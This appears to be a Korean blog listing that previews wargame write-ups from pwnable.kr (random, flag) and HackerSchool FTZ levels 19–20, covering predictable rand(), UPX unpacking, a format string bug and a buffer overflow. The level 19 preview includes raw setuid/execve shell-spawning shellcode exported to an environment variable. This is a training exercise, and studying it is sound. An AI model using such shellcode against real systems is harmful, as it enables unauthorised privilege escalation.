Wargame
-
[Toddler's Bottle] randomWargame/pwnable.kr Challenge 2019. 2. 19. 10:29
→ 힌트는 아래와 같다. → random.c 소스 파일이다. → 코드를 해석해보면, random 변수에 rand() 함수를 통해 얻은 값과 사용자로부터 입력받은 key 값을 서로 XOR 연산하여 0xdeadbeef 라는 값을 생성하면 flag 값을 볼 수 있는 문제이다. → 여기서 rand() 함수에 주목할 필요가 있다. rand()를 통해 생성되는 난수는 임의로 생성되는 난수이지만 이는 고정적이기 때문에, 다시 난수를 생성해도 고정된 값이 생성된다. 따라서, rand()의 리턴 값을 미리 알아낸다면 random 이라는 난수에 들어갈 값을 알아낼 수 있다. → 다음 난수를 미리 알고 있다면, 미리 입력할 key 값을 xor 연산하여 미리 0xdeadbeef 값으로 맞춘다면 문제는 풀리게 된다. → 리눅스..
-
[Toddler's Bottle] flagWargame/pwnable.kr Challenge 2019. 2. 14. 10:59
→ 힌트는 아래와 같다. → 바이너리 다운로드 및 분석 환경(ubuntu)에 업로드한다. → gdb로 디버깅을 시도하였지만 실행 파일 포맷이 아니라는 메시지를 확인했다. → objdump로 바이너리 파일 포맷 정보를 확인했다. → gdb에서 실행파일로 인식하지 않았으나, objdump에선 elf64 실행 파일로 인식하는 것을 확인할 수 있다. 먼저 실행파일인 점과 64비트 바이너리 인점을 알 수 있다. → strings 도구를 이용하여 바이너리 스트링 값을 확인한다. 일일히 확인하다가 upx라는 패킹 메시지를 확인했다. → 메시지에도 알 수 있듯이 해당 파일은 upx 패킹된 상태로 추측되며, UPX 언팩을 진행해야 한다. unpacker를 아래와 같이 설치한다. → 설치 후 upx 명령어를 입력하면 사용..
-
lvl 20Wargame/HackerSchool FTZ 2019. 2. 14. 09:24
→ 힌트 정보는 아래와 같다. → fgets로부터 입력받을 수 있는 입력 값의 길이가 79자리로 제한되어 있으므로(bleh가 80바이트) BOF에 의해 RET를 덮어쓰는 것은 불가능하다. 따라서, BOF 문제는 아니다. → 하지만, printf(bleh); 에서 포맷스트링 버그를 확인할 수 있다. → 먼저, 포맷스트링 버그의 개념을 알아본다. int printf(const char *format [ ,argument]...); → 인자의 개수가 정해져있지 않고 넣는데로 인자가 전달되고, printf의 서식문자에 출력이 될 값이 인자로 추가로 붙어 활용된다. 그리고 문자열을 직접 인자로 전달하지않고, 문자열이 저장된 주소 값을 인자로 전달하는 특징이 있다. → 여기서, 문자열에 서식문자(%d,%n, .....
-
lvl 19Wargame/HackerSchool FTZ 2019. 2. 14. 09:24
→ 힌트를 확인한다. → 매우 간단해 보인다. 바로 BOF 를 시도해 본다. → 환경변수에 쉘코드를 넣고 주소 값을 확인한다. export SHELLCODE=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') #include int main(){ printf("addr: %p\n", getenv("SHELLCODE")); return 0;} [level19@ftz level19]$ export SHELLCODE=$(pytho..